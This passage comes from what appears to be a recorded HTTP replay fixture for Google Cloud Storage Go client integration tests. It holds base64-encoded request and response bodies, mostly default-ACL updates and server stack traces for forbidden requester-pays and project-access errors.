5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJCdWNrZXQgaXMgcmVxdWVzdGVyIHBheXMgYnVja2V0IGJ1dCBubyB1c2VyIHByb2plY3QgcHJvdmlkZWQuIn19" - } - }, - { - "ID": "3c6b1be88134f9d9", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "119" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:05 GMT" - ], - "Etag": [ - "CAU=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqzTVWCTbjlM7VCFWFbOojrtt8ZMY9bRy0eXj0Uxj3gaYalvwqR0WBrtbX0iGQ-aN5pv3-Acc7EWIoHBa37YbMpx9fuoJUpTswmdpiCOH3wbMN7tIk" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoiZG9tYWluLWdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZG9tYWluIjoiZ29vZ2xlLmNvbSIsImV0YWciOiJDQVU9In0=" - } - }, - { - "ID": "60cde48b740e9a63", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/defaultObjectAcl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "13099" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:05 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrLyiKgPsp1RDgH3Q2SGlQAwTvGJwVDvb9U9FfvTysIFo6sO-5AoXrGPQfZpr80aMOEKojmPksURjhsteWSV9gdPsOlPIJMorxvQMHeomMCh-Bgmuo" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUZPUkJJRERFTiwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLlVwZGF0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFjbHMuamF2YTo5MClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLlVwZGF0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFjbHMuamF2YToyNylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IudXBkYXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTAzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2Fn